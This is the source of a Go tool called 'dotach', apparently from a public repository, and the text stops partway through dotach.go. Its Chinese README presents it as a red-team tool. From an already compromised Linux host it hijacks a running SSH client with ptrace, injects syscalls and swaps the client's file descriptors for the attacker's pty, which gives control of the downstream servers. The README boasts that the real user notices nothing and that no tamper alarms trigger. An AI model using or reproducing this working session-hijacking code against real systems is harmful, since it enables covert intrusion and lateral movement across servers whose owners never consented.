├── .gitignore ├── go.mod ├── cmd └── dotach │ └── main.go ├── go.sum ├── README.md ├── state.go ├── LICENSE ├── ptrace_linux_amd64.go ├── utils.go ├── terminal.go ├── procfs.go ├── ptrace_linux_arm64.go ├── dotach.go └── ptrace.go /.gitignore: -------------------------------------------------------------------------------- 1 | ### Example user template template 2 | ### Example user template 3 | 4 | # IntelliJ project files 5 | .idea 6 | *.iml 7 | out 8 | gen 9 | /bak/ 10 | /cmd/foo/ 11 | /cmd/dotach/release -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module dotach 2 | 3 | go 1.17 4 | 5 | require ( 6 | github.com/creack/pty v1.1.17 7 | golang.org/x/sys v0.0.0-20220114195835-da31bd327af9 8 | golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 9 | ) 10 | -------------------------------------------------------------------------------- /cmd/dotach/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "dotach" 5 | "flag" 6 | "log" 7 | "os" 8 | ) 9 | 10 | func main() { 11 | 12 | pid := flag.Int("p", 0, "target pid") 13 | flag.Parse() 14 | 15 | if *pid == 0 { 16 | flag.Usage() 17 | return 18 | } 19 | target, err := os.FindProcess(*pid) 20 | if err != nil { 21 | panic(err) 22 | } 23 | 24 | d, err := dotach.New(target) 25 | if err == nil { 26 | if err := d.Run(); err != nil { 27 | panic(err) 28 | } 29 | } else { 30 | log.Println("Error:", err) 31 | } 32 | 33 | } 34 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/creack/pty v1.1.17 h1:QeVUsEDNrLBW4tMgZHvxy18sKtr6VI492kBhUfhDJNI= 2 | github.com/creack/pty v1.1.17/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4= 3 | golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 4 | golang.org/x/sys v0.0.0-20220114195835-da31bd327af9 h1:XfKQ4OlFl8okEOr5UvAqFRVj8pY/4yfcXrddB8qAbU0= 5 | golang.org/x/sys v0.0.0-20220114195835-da31bd327af9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 6 | golang.org/x/term v0.0.0-20210927222741-03fcf44c2211 h1:JGgROgKl9N8DuW20oFS5gxc+lE67/N3FcwmBPMe7ArY= 7 | golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= 8 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 简介 2 | 3 | hvv红队渗透测试工具, 劫持进程输入输出的工具 4 | 5 | # 使用场景 6 | 7 | > 如: 现在拿到了一台linux服务器(A), ps 命令查看进程发现有用户ssh连接到了其他服务器(B,C,D...), 现在想要通过A现有的这个ssh连接来直接控制B,C,D等服务器 8 | 9 | # 特点 10 | 11 | - go语言编写, 方便快速的跨平台编译 12 | - 不依赖目标机操作系统版本(基本上只要是基于linux的就行) 13 | - 目前支持 amd64 / arm64 架构 14 | - 直接劫持现有的ssh连接, 不需要等待新的ssh连接 15 | - 劫持时原ssh客户端无感知, 退出劫持后原ssh客户端不会有任何异常显示(在你正确使用本工具的前提下) 16 | - 不需要修改系统原有文件, 不会触发`文件被篡改`之类的报警 17 | - 支持`root用户`劫持`root用户`的进程 18 | - 支持`root用户`劫持`非root用户`的进程 19 | - 支持`非root用户`劫持`非root用户`的进程 20 | - 不支持`非root用户`劫持`root用户`的进程(想的咋那么美呢) 21 | - 其实不光可以劫持ssh连接, 具体的你就自己探索吧.. 22 | 23 | # 编译方式 24 | 25 | ## Linux amd64 26 | 27 | `CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -trimpath -ldflags "-s -w" -o dotach` 28 | 29 | ## Linux arm64(aarch64) 30 | 31 | `CGO_ENABLED=0 GOOS=linux GOARCH=arm64 go build -trimpath -ldflags "-s -w" -o dotach` 32 | 33 | 目前只支持这两种架构 34 | 35 | # 使用方式 36 | 37 | 1. 查看查看进程中是否有ssh会话 38 | 2. 把目标进程PID记下来 39 | 3. `./dotach -p 目标进程的PID` 开始劫持 40 | 4. 使用`Ctrl+X Ctrl+X Ctrl+X`退出劫持状态 41 | 42 | # 注意事项 43 | 44 | - 目标进程不能处于被调试状态 45 | - 具体使用细节请看源码 46 | -------------------------------------------------------------------------------- /state.go: -------------------------------------------------------------------------------- 1 | package dotach 2 | 3 | type TraceeState int 4 | 5 | const ( 6 | StateUnknown TraceeState = iota 7 | StateDetached 8 | StateAttached 9 | StateAtSyscall 10 | StateBeforeSyscall 11 | StateAfterSyscall 12 | StateTrapped 13 | StateRunning 14 | StateStopped 15 | StateExited 16 | StateSignaled 17 | StateContinued 18 | ) 19 | 20 | func (s TraceeState) String() string { 21 | switch s { 22 | case StateDetached: 23 | return "STATE_DETACHED" 24 | case StateAttached: 25 | return "STATE_ATTACHED" 26 | case StateAtSyscall: 27 | return "STATE_AT_SYSCALL" 28 | case StateBeforeSyscall: 29 | return "STATE_BEFORE_SYSCALL" 30 | case StateAfterSyscall: 31 | return "STATE_AFTER_SYSCALL" 32 | case StateTrapped: 33 | return "STATE_TRAPPED" 34 | case StateRunning: 35 | return "STATE_RUNNING" 36 | case StateStopped: 37 | return "STATE_STOPPED" 38 | case StateExited: 39 | return "STATE_EXITED" 40 | case StateSignaled: 41 | return "STATE_SIGNALED" 42 | case StateContinued: 43 | return "STATE_CONTINUED" 44 | default: 45 | return "STATE_UNKNOWN" 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 小墨(wabzsy) 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /ptrace_linux_amd64.go: -------------------------------------------------------------------------------- 1 | package dotach 2 | 3 | import ( 4 | "golang.org/x/sys/unix" 5 | "log" 6 | "os" 7 | ) 8 | 9 | type Tracer struct { 10 | proc *os.Process 11 | registers *unix.PtraceRegs 12 | traceeState TraceeState 13 | } 14 | 15 | func (t *Tracer) GetRegister(out *unix.PtraceRegs) error { 16 | //defer log.Printf("GetRegister %#v", out) 17 | return unix.PtraceGetRegs(t.proc.Pid, out) 18 | } 19 | 20 | func (t *Tracer) SetRegister(in *unix.PtraceRegs) error { 21 | //defer log.Printf("SetRegister %#v", in) 22 | return unix.PtraceSetRegs(t.proc.Pid, in) 23 | } 24 | 25 | // FixupRegisters pc=rip-2 rax回退 26 | func (t *Tracer) FixupRegisters() { 27 | t.registers.Rip -= 2 28 | t.registers.Rax = t.registers.Orig_rax 29 | } 30 | 31 | func (t *Tracer) SaveRegister() error { 32 | log.Printf("Saving registers...") 33 | if err := t.WantState(StateBeforeSyscall); err != nil { 34 | return err 35 | } 36 | 37 | defer func() { 38 | log.Printf("Registers saved.") 39 | }() 40 | 41 | t.registers = NewRegister() 42 | 43 | if err := t.GetRegister(t.registers); err != nil { 44 | return err 45 | } 46 | 47 | //log.Printf("原始寄存器: %#v", d.registers) 48 | 49 | // 修正(回退)要保存的寄存器 50 | t.FixupRegisters() 51 | 52 | //log.Printf("修正后寄存器: %#v", d.registers) 53 | return nil 54 | } 55 | 56 | func (t *Tracer) RestoreRegister() error { 57 | if err := t.SetRegister(t.registers); err != nil { 58 | return err 59 | } 60 | return nil 61 | } 62 | 63 | func (t *Tracer) setSyscallArgs(sysNo int, a1, a2, a3, a4, a5, a6 int, out *unix.PtraceRegs) error { 64 | // 由于内核的内部用途, 系统调用号是保存在 orig_rax 中而不是 rax 中 (mmp!!!) 65 | // 原因参考: https://zhuanlan.zhihu.com/p/42898266 66 | out.Orig_rax = uint64(sysNo) 67 | 68 | // linux x86_64 函数传参的寄存器顺序 RDI,RSI,RDX,R10,R8,R9 69 | out.Rdi = uint64(a1) 70 | out.Rsi = uint64(a2) 71 | out.Rdx = uint64(a3) 72 | out.R10 = uint64(a4) 73 | out.R8 = uint64(a5) 74 | out.R9 = uint64(a6) 75 | 76 | return nil 77 | } 78 | 79 | func (t *Tracer) getSyscallResult(in *unix.PtraceRegs) int { 80 | // syscall返回结果保存在rax寄存器中 81 | return int(in.Rax) 82 | } 83 | 84 | func NewRegister() *unix.PtraceRegs { 85 | return &unix.PtraceRegs{} 86 | } 87 | -------------------------------------------------------------------------------- /utils.go: -------------------------------------------------------------------------------- 1 | package dotach 2 | 3 | import ( 4 | "bytes" 5 | "errors" 6 | "fmt" 7 | "io" 8 | "log" 9 | "runtime/debug" 10 | ) 11 | 12 | const ( 13 | PASSWORD = "dotach666" 14 | ) 15 | 16 | var ( 17 | DebugMode = true 18 | PauseMode = true 19 | StackMode = true 20 | ) 21 | 22 | func PrintStack() { 23 | stack := debug.Stack() 24 | stackLines := bytes.Split(stack, []byte("\n")) 25 | stackLines = stackLines[7:] 26 | for _, line := range stackLines { 27 | log.Println(string(line)) 28 | } 29 | } 30 | 31 | func Debug(v ...interface{}) { 32 | if !DebugMode { 33 | return 34 | } 35 | if StackMode { 36 | log.Println("----------------------[DEBUG]----------------------") 37 | PrintStack() 38 | } 39 | for _, p := range v { 40 | if err, ok := p.(error); ok { 41 | log.Printf("Error: %s", err) 42 | } else { 43 | log.Printf("Debug: %#v", p) 44 | } 45 | } 46 | if PauseMode { 47 | log.Println("press ENTER to continue...") 48 | _, _ = fmt.Scanln() 49 | log.Println("--------------------[CONTINUED]--------------------") 50 | } 51 | } 52 | 53 | // MagicCopy 改造自 'io.Copy(dst io.Writer, src io.Reader)...' 54 | func MagicCopy(dst io.Writer, src io.Reader) (written int64, err error) { 55 | return MagicCopyBuffer(dst, src, nil) 56 | } 57 | func MagicCopyBuffer(dst io.Writer, src io.Reader, buf []byte) (written int64, err error) { 58 | 59 | //// If the reader has a WriteTo method, use it to do the copy. 60 | //// Avoids an allocation and a copy. 61 | //if wt, ok := src.(io.WriterTo); ok { 62 | // return wt.WriteTo(dst) 63 | //} 64 | //// Similarly, if the writer has a ReadFrom method, use it to do the copy. 65 | //if rt, ok := dst.(io.ReaderFrom); ok { 66 | // return rt.ReadFrom(src) 67 | //} 68 | if buf == nil { 69 | size := 32 * 1024 70 | if l, ok := src.(*io.LimitedReader); ok && int64(size) > l.N { 71 | if l.N < 1 { 72 | size = 1 73 | } else { 74 | size = int(l.N) 75 | } 76 | } 77 | buf = make([]byte, size) 78 | } 79 | 80 | i := 0 81 | magic := false 82 | 83 | for { 84 | nr, er := src.Read(buf) 85 | if nr > 0 { 86 | // 检查是否输入了3次CTRL+X或粘贴了魔术字符串 87 | if nr == len(PASSWORD) && string(buf[0:nr]) == PASSWORD { 88 | magic = true 89 | } else { 90 | //if nr == 1 && buf[0] == PASSWORD[i] { 91 | // i++ 92 | // if i == len(PASSWORD) { 93 | // magic = true 94 | // } 95 | //} else { 96 | // i = 0 97 | //} 98 | // CTRL+X = 0x18 99 | if nr == 1 && buf[0] == 0x18 { 100 | i++ 101 | if i == 3 { 102 | magic = true 103 | } 104 | } else { 105 | i = 0 106 | } 107 | } 108 | 109 | if magic { 110 | fmt.Println("\r") 111 | log.Println("magic string detected\r") 112 | return written, nil 113 | } 114 | 115 | nw, ew := dst.Write(buf[0:nr]) 116 | if nw < 0 || nr < nw { 117 | nw = 0 118 | if ew == nil { 119 | ew = errors.New("invalid write result") 120 | } 121 | } 122 | written += int64(nw) 123 | if ew != nil { 124 | err = ew 125 | break 126 | } 127 | if nr != nw { 128 | err = io.ErrShortWrite 129 | break 130 | } 131 | } 132 | if er != nil { 133 | if er != io.EOF { 134 | err = er 135 | } 136 | break 137 | } 138 | } 139 | return written, err 140 | } 141 | -------------------------------------------------------------------------------- /terminal.go: -------------------------------------------------------------------------------- 1 | package dotach 2 | 3 | import ( 4 | "fmt" 5 | "github.com/creack/pty" 6 | "golang.org/x/sys/unix" 7 | "golang.org/x/term" 8 | "log" 9 | "os" 10 | ) 11 | 12 | // Terminal // 不能用 github.com/pkg/term/termios 的那个包 那个包有bug 会导致 MakeRaw 失败, 需要自己调用unix.Ioctl* 来获取和设置termios 13 | type Terminal struct { 14 | pts *os.File 15 | ptm *os.File 16 | } 17 | 18 | // SetTermios 设置tty属性(不然不能Ctrl+C之类的) 19 | func (t *Terminal) SetTermios(tio *unix.Termios) error { 20 | f, err := os.OpenFile(t.pts.Name(), os.O_RDONLY, 0) 21 | if err != nil { 22 | return err 23 | } 24 | defer func() { 25 | _ = f.Close() 26 | }() 27 | 28 | return unix.IoctlSetTermios(int(f.Fd()), uint(unix.TCSETS), tio) //termios.Tcsetattr(f.Fd(), termios.TCSANOW, tio) 29 | } 30 | 31 | func (t *Terminal) GetFileTermios(path string) (*unix.Termios, error) { 32 | f, err := os.OpenFile(path, os.O_RDONLY, 0) 33 | if err != nil { 34 | return nil, err 35 | } 36 | defer func() { 37 | _ = f.Close() 38 | }() 39 | return t.GetTermios(f) 40 | } 41 | 42 | // GetTermios 获取tty属性 43 | func (t *Terminal) GetTermios(file *os.File) (*unix.Termios, error) { 44 | if term.IsTerminal(int(file.Fd())) { 45 | if tio, err := unix.IoctlGetTermios(int(file.Fd()), unix.TCGETS); err == nil { 46 | //log.Printf("===========> IoctlGetTermios :%#v", tio) 47 | return tio, nil 48 | } else { 49 | return nil, fmt.Errorf("cannot termios for file: %s ", file.Name()) 50 | } 51 | } else { 52 | return nil, fmt.Errorf("not a terminal file: %s", file.Name()) 53 | } 54 | } 55 | 56 | func (t *Terminal) GetTermiosFrom(fds map[int]string) (*unix.Termios, error) { 57 | for fd, path := range fds { 58 | // 只关注[标准输入/标准输出/标准错误]的terminal state 59 | if fd < 3 { 60 | if tio, err := t.GetFileTermios(path); err == nil { 61 | return tio, nil 62 | } else { 63 | log.Printf("GetTermios: fd: %d , err: %v", fd, err) 64 | } 65 | } 66 | } 67 | return nil, fmt.Errorf("get std termios failed") 68 | } 69 | 70 | func (t *Terminal) ForceInit() error { 71 | if tio, err := t.GetTermios(os.Stdin); err == nil { 72 | return t.SetTermios(tio) 73 | } else { 74 | return err 75 | } 76 | 77 | } 78 | 79 | // Init 初始化(读取目标的tty属性,并赋给当前新申请的pts) 80 | func (t *Terminal) Init(fds map[int]string) error { 81 | log.Printf("Initializing %s device", t.pts.Name()) 82 | defer func() { 83 | log.Printf("Device %s has been initialized", t.pts.Name()) 84 | }() 85 | if tio, err := t.GetTermiosFrom(fds); err == nil { 86 | return t.SetTermios(tio) 87 | } else { 88 | log.Printf("Error: %s, trying to force initialization.", err) 89 | return t.ForceInit() 90 | } 91 | } 92 | 93 | func (t *Terminal) Ptm() *os.File { 94 | return t.ptm 95 | } 96 | 97 | func (t *Terminal) Pts() *os.File { 98 | return t.pts 99 | } 100 | 101 | func NewTerminal() (*Terminal, error) { 102 | log.Println("Creating new local pty...") 103 | ptm, pts, err := pty.Open() // 以后有空试试 termios.Pty() 104 | if err != nil { 105 | return nil, err 106 | } 107 | defer func() { 108 | log.Printf("Local pty created, pts: %s", pts.Name()) 109 | }() 110 | 111 | // 用于解决高权限(root)想要访问低权限用户进程, 但是低权限用户进程无法访问高权限(root)创建的pts的问题 112 | if err := os.Chmod(pts.Name(), 0666); err != nil { 113 | log.Printf("Chmod(%s, 0666) failed: %s", pts.Name(), err) 114 | } 115 | 116 | return &Terminal{ 117 | pts: pts, 118 | ptm: ptm, 119 | }, nil 120 | } 121 | -------------------------------------------------------------------------------- /procfs.go: -------------------------------------------------------------------------------- 1 | package dotach 2 | 3 | import ( 4 | "fmt" 5 | "golang.org/x/term" 6 | "os" 7 | "path/filepath" 8 | "strconv" 9 | ) 10 | 11 | // 大部分函数改编自 github.com/prometheus/procfs/proc.go 和 github.com/prometheus/procfs/fs.go 12 | 13 | const ( 14 | DefaultProcMountPoint = "/proc" 15 | ) 16 | 17 | type FS string 18 | 19 | func NewFS(mountPoint string) (FS, error) { 20 | info, err := os.Stat(mountPoint) 21 | if err != nil { 22 | return "", fmt.Errorf("could not read %q: %w", mountPoint, err) 23 | } 24 | if !info.IsDir() { 25 | return "", fmt.Errorf("mount point %q is not a directory", mountPoint) 26 | } 27 | 28 | return FS(mountPoint), nil 29 | } 30 | 31 | func (fs FS) Path(p ...string) string { 32 | return filepath.Join(append([]string{string(fs)}, p...)...) 33 | } 34 | 35 | func NewDefaultFS() (FS, error) { 36 | return NewFS(DefaultProcMountPoint) 37 | } 38 | 39 | func (fs FS) Proc(pid int) (Proc, error) { 40 | if _, err := os.Stat(fs.Path(strconv.Itoa(pid))); err != nil { 41 | return Proc{}, err 42 | } 43 | return Proc{PID: pid, fs: fs}, nil 44 | } 45 | 46 | type Proc struct { 47 | PID int 48 | 49 | fs FS 50 | } 51 | 52 | func NewProc(pid int) (Proc, error) { 53 | fs, err := NewDefaultFS() 54 | if err != nil { 55 | return Proc{}, err 56 | } 57 | return fs.Proc(pid) 58 | } 59 | 60 | // FileDescriptors 获取目标的全部文件描述符(整型版) 61 | func (p Proc) FileDescriptors() ([]int, error) { 62 | names, err := p.fileDescriptors() 63 | if err != nil { 64 | return nil, err 65 | } 66 | 67 | fds := make([]int, len(names)) 68 | for _, n := range names { 69 | fd, err := strconv.ParseInt(n, 10, 32) 70 | if err != nil { 71 | return nil, fmt.Errorf("could not parse fd %q: %w", n, err) 72 | } 73 | fds = append(fds, int(fd)) 74 | } 75 | 76 | return fds, nil 77 | } 78 | 79 | // fileDescriptors 获取目标的全部文件描述符(字符串版) 80 | func (p Proc) fileDescriptors() ([]string, error) { 81 | d, err := os.Open(p.path("fd")) 82 | if err != nil { 83 | return nil, err 84 | } 85 | defer func() { 86 | _ = d.Close() 87 | }() 88 | 89 | names, err := d.Readdirnames(-1) 90 | if err != nil { 91 | return nil, fmt.Errorf("could not read %q: %w", d.Name(), err) 92 | } 93 | 94 | return names, nil 95 | } 96 | 97 | func (p Proc) path(pa ...string) string { 98 | return p.fs.Path(append([]string{strconv.Itoa(p.PID)}, pa...)...) 99 | } 100 | 101 | // FileDescriptorTargets 获取 /proc/目标PID/fd/ 下的所有条目,并解析link地址 102 | func (p Proc) FileDescriptorTargets() (map[int]string, error) { 103 | fds, err := p.FileDescriptors() 104 | if err != nil { 105 | return nil, err 106 | } 107 | 108 | targets := make(map[int]string) 109 | 110 | for _, fd := range fds { 111 | target, err := os.Readlink(p.path("fd", strconv.Itoa(fd))) 112 | if err == nil { 113 | targets[fd] = target 114 | } 115 | } 116 | 117 | return targets, nil 118 | } 119 | 120 | // FileDescriptorAvailable 获取可用的文件描述符(指的是存在的,可用的,不包含已经删除的和socket之类的) 121 | func (p Proc) FileDescriptorAvailable() (map[int]string, error) { 122 | fds, err := p.FileDescriptorTargets() 123 | if err != nil { 124 | return nil, err 125 | } 126 | 127 | targets := make(map[int]string) 128 | 129 | for fd, path := range fds { 130 | if _, err := os.Stat(path); err == nil { 131 | targets[fd] = path 132 | } 133 | } 134 | 135 | return targets, nil 136 | } 137 | 138 | // IsTerminal 判断目标文件是不是terminal 139 | func IsTerminal(path string) (bool, error) { 140 | fd, err := os.OpenFile(path, os.O_RDONLY, 0) 141 | if err != nil { 142 | return false, err 143 | } 144 | defer func() { 145 | _ = fd.Close() 146 | }() 147 | 148 | return term.IsTerminal(int(fd.Fd())), nil 149 | 150 | } 151 | -------------------------------------------------------------------------------- /ptrace_linux_arm64.go: -------------------------------------------------------------------------------- 1 | package dotach 2 | 3 | import ( 4 | "golang.org/x/sys/unix" 5 | "log" 6 | "os" 7 | "unsafe" 8 | ) 9 | 10 | type Tracer struct { 11 | proc *os.Process 12 | registers *unix.PtraceRegsArm64 13 | traceeState TraceeState 14 | savedSysNo *int 15 | } 16 | 17 | // 参考文献: 18 | // (1) https://man7.org/linux/man-pages/man2/ptrace.2.html 19 | // (2) https://patchwork.kernel.org/project/linux-arm-kernel/patch/1416273038-15590-2-git-send-email-takahiro.akashi@linaro.org/ 20 | 21 | const ( 22 | NT_ARM_SYSTEM_CALL = 0x404 23 | NT_PRSTATUS = 0x01 24 | ) 25 | 26 | // ptrace 改编自 golang.org/x/sys/unix/zsyscall_linux.go 27 | func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) { 28 | _, _, e1 := unix.Syscall6(unix.SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0) 29 | if e1 != 0 { 30 | err = e1 31 | } 32 | return 33 | } 34 | 35 | // PtraceGetRegSetArm64 改编自 golang.org/x/sys/unix/zptrace_linux_arm64.go 解决了不能自定义Iovec的问题 36 | func PtraceGetRegSetArm64(pid, addr int, iovec unix.Iovec) error { 37 | return ptrace(unix.PTRACE_GETREGSET, pid, uintptr(addr), uintptr(unsafe.Pointer(&iovec))) 38 | } 39 | 40 | // PtraceSetRegSetArm64 改编自 golang.org/x/sys/unix/zptrace_linux_arm64.go 解决了不能自定义Iovec的问题 41 | func PtraceSetRegSetArm64(pid, addr int, iovec unix.Iovec) error { 42 | return ptrace(unix.PTRACE_SETREGSET, pid, uintptr(addr), uintptr(unsafe.Pointer(&iovec))) 43 | } 44 | 45 | func (t *Tracer) GetRegister(out *unix.PtraceRegsArm64) error { 46 | //defer log.Printf("GetRegister %#v", out) 47 | iovec := unix.Iovec{Base: (*byte)(unsafe.Pointer(out)), Len: uint64(unsafe.Sizeof(*out))} 48 | return PtraceGetRegSetArm64(t.proc.Pid, NT_PRSTATUS, iovec) 49 | } 50 | 51 | func (t *Tracer) SetRegister(in *unix.PtraceRegsArm64) error { 52 | //defer log.Printf("SetRegister %#v", in) 53 | iovec := unix.Iovec{Base: (*byte)(unsafe.Pointer(in)), Len: uint64(unsafe.Sizeof(*in))} 54 | return PtraceSetRegSetArm64(t.proc.Pid, NT_PRSTATUS, iovec) 55 | } 56 | 57 | func (t *Tracer) GetSyscallRegister(out *int) error { 58 | //defer log.Printf("GetSyscallRegister %#v", out) 59 | iovec := unix.Iovec{Base: (*byte)(unsafe.Pointer(out)), Len: uint64(unsafe.Sizeof(*out))} 60 | return PtraceGetRegSetArm64(t.proc.Pid, NT_ARM_SYSTEM_CALL, iovec) 61 | } 62 | 63 | func (t *Tracer) SetSyscallRegister(in *int) error { 64 | //defer log.Printf("SetSyscallRegister %#v", in) 65 | iovec := unix.Iovec{Base: (*byte)(unsafe.Pointer(in)), Len: uint64(unsafe.Sizeof(*in))} 66 | return PtraceSetRegSetArm64(t.proc.Pid, NT_ARM_SYSTEM_CALL, iovec) 67 | } 68 | 69 | // FixupRegisters arm和arm64都需要pc-4 70 | func (t *Tracer) FixupRegisters() { 71 | t.registers.Pc -= 4 72 | } 73 | 74 | func (t *Tracer) SaveRegister() error { 75 | log.Printf("Saving registers...") 76 | if err := t.WantState(StateBeforeSyscall); err != nil { 77 | return err 78 | } 79 | 80 | t.registers = NewRegister() 81 | 82 | if err := t.GetRegister(t.registers); err != nil { 83 | return err 84 | } 85 | 86 | t.savedSysNo = new(int) 87 | if err := t.GetSyscallRegister(t.savedSysNo); err != nil { 88 | return err 89 | } 90 | 91 | defer func() { 92 | log.Printf("Registers saved.") 93 | }() 94 | 95 | //log.Printf("原始寄存器: %#v", d.registers) 96 | 97 | // 修正(回退)要保存的寄存器 98 | t.FixupRegisters() 99 | 100 | //log.Printf("修正后寄存器: %#v", d.registers) 101 | return nil 102 | } 103 | 104 | func (t *Tracer) RestoreRegister() error { 105 | if err := t.SetRegister(t.registers); err != nil { 106 | return err 107 | } 108 | if err := t.SetSyscallRegister(t.savedSysNo); err != nil { 109 | return err 110 | } 111 | return nil 112 | } 113 | 114 | func (t *Tracer) setSyscallArgs(sysNo int, a1, a2, a3, a4, a5, a6 int, out *unix.PtraceRegsArm64) error { 115 | // 系统调用号在x8寄存器,x0-x7用于存放函数参数 116 | // 参考文章: 117 | // https://blog.csdn.net/yusakul/article/details/105706674 118 | // https://www.jianshu.com/p/cf29fb303bdc 119 | // https://blog.csdn.net/qq_24622489/article/details/89161125 120 | out.Regs[8] = uint64(sysNo) 121 | 122 | // linux 函数传参寄存器顺序 RDI,RSI,RDX,R10,R8,R9 123 | out.Regs[0] = uint64(a1) 124 | out.Regs[1] = uint64(a2) 125 | out.Regs[2] = uint64(a3) 126 | out.Regs[3] = uint64(a4) 127 | out.Regs[4] = uint64(a5) 128 | out.Regs[5] = uint64(a6) 129 | 130 | return t.SetSyscallRegister(&sysNo) // 用于解决存在于arm64特定的问题 见参考文献(2) 131 | } 132 | 133 | func (t *Tracer) getSyscallResult(in *unix.PtraceRegsArm64) int { 134 | // syscall返回结果保存在x0寄存器中 135 | return int(in.Regs[0]) 136 | } 137 | 138 | func NewRegister() *unix.PtraceRegsArm64 { 139 | return &unix.PtraceRegsArm64{} 140 | } 141 | -------------------------------------------------------------------------------- /dotach.go: -------------------------------------------------------------------------------- 1 | package dotach 2 | 3 | import ( 4 | "fmt" 5 | "golang.org/x/term" 6 | "io" 7 | "log" 8 | "os" 9 | "os/signal" 10 | "sync" 11 | "syscall" 12 | ) 13 | 14 | type Dotach struct { 15 | tracer *Tracer 16 | proc *os.Process 17 | savedFds map[int]int 18 | terminal *Terminal 19 | doneCh chan bool 20 | forceMode bool 21 | } 22 | 23 | // FindTraceeFds 查找tracee可用的文件描述符, 主要是3个标准文件描述符和tty文件描述符 24 | func (d *Dotach) FindTraceeFds() (map[int]string, error) { 25 | log.Printf("Looking for available fds for tracee...") 26 | proc, err := NewProc(d.proc.Pid) 27 | if err != nil { 28 | return nil, err 29 | } 30 | 31 | // 获取全部可用的文件描述符 32 | // TODO 以后有机会把这里也换成用tracee去读, 33 | // TODO 因为有的时候低权限的tracee的proc/pid/fd是root的, 34 | // TODO 比如ping命令, 还没分析, 暂时不知道为什么... 35 | fda, err := proc.FileDescriptorAvailable() 36 | if err != nil { 37 | return nil, err 38 | } 39 | 40 | fds := make(map[int]string) 41 | 42 | // 只要 标准输入/标准输出/标准错误 存在就保留, 无论是不是tty文件描述符, 如果不存在, 不保留 43 | for i := 0; i < 3; i++ { 44 | if path, ok := fda[i]; ok { 45 | fds[i] = path 46 | } 47 | } 48 | 49 | // 先查找是否存在tty fds 50 | for k, v := range fda { 51 | //log.Printf("FDA: %d -> %#v", k, v) 52 | if ok, err := IsTerminal(v); err != nil { 53 | log.Println(err) 54 | } else if ok { 55 | if v == "/dev/ptmx" { 56 | log.Printf("Fd: %d (%#v) is a ptmx, skipped.", k, v) 57 | continue 58 | } 59 | fds[k] = v 60 | log.Printf("Fd: %d (%#v) is a terminal", k, v) 61 | } else { 62 | log.Printf("Fd: %d (%#v) is not a terminal", k, v) 63 | } 64 | } 65 | 66 | // 标准输入/标准输出/标准错误 也不存在tty fds , 这种情况没有劫持的必要 67 | if len(fds) == 0 { 68 | return nil, fmt.Errorf("no available file descriptor found") 69 | } 70 | 71 | return fds, nil 72 | } 73 | 74 | // SaveAndReplaceTraceeFds 保存并替换tracee的文件描述符(狸猫换太子) 75 | func (d *Dotach) SaveAndReplaceTraceeFds(fds map[int]string) error { 76 | 77 | if d.savedFds == nil { 78 | d.savedFds = make(map[int]int) 79 | } 80 | 81 | // 先尝试打开tracee的ttyFd, 如果打不开, 直接返回错误, 不用保存也不用替换(最容易失败的一步) 82 | log.Printf("Trying to open a new tty file for tracee...") 83 | 84 | ttyFd, err := d.tracer.OpenFile(d.terminal.pts.Name()) 85 | if err != nil { 86 | return fmt.Errorf("tracee open new tty fd failed: %s", err) 87 | } else { 88 | log.Printf("Tracee's new tty fd: %d has been opened", ttyFd) 89 | } 90 | 91 | // 打开成功后要保证能关闭, 即便后续过程出现错误 92 | defer func() { 93 | log.Printf("Closing tracee's new tty fd...") 94 | 95 | // tty文件描述符完成使命可以关闭了 96 | if result, err := d.tracer.Close(ttyFd); err != nil { 97 | Debug(err) 98 | log.Println(err) 99 | } else if result != 0 { 100 | err := fmt.Errorf("failed to close tracee's new tty fd (errno: %d)", result) 101 | Debug(err) 102 | log.Println(err) 103 | } else { 104 | log.Printf("Tracee's new tty fd: %d has been closed", ttyFd) 105 | } 106 | }() 107 | 108 | log.Printf("Saving & Replacing tracee's fds...") 109 | 110 | for oldFd := range fds { 111 | // 先把tracee的 oldFd Dup到 newFd 112 | newFd, err := d.tracer.Dup(oldFd) 113 | if err != nil { 114 | return err 115 | } 116 | // 保存新旧fd的关系 117 | d.savedFds[oldFd] = newFd 118 | 119 | log.Printf("==========> Saved old fd: %d to new fd: %d (path: %s) <==========", oldFd, newFd, fds[oldFd]) 120 | 121 | // 再用ttyFd替换oldFd, 完成文件描述符的狸猫换太子 122 | if _, err := d.tracer.Dup3(ttyFd, oldFd); err != nil { 123 | return fmt.Errorf("failed to replace tracee's original fd: %s , dup3(%d, 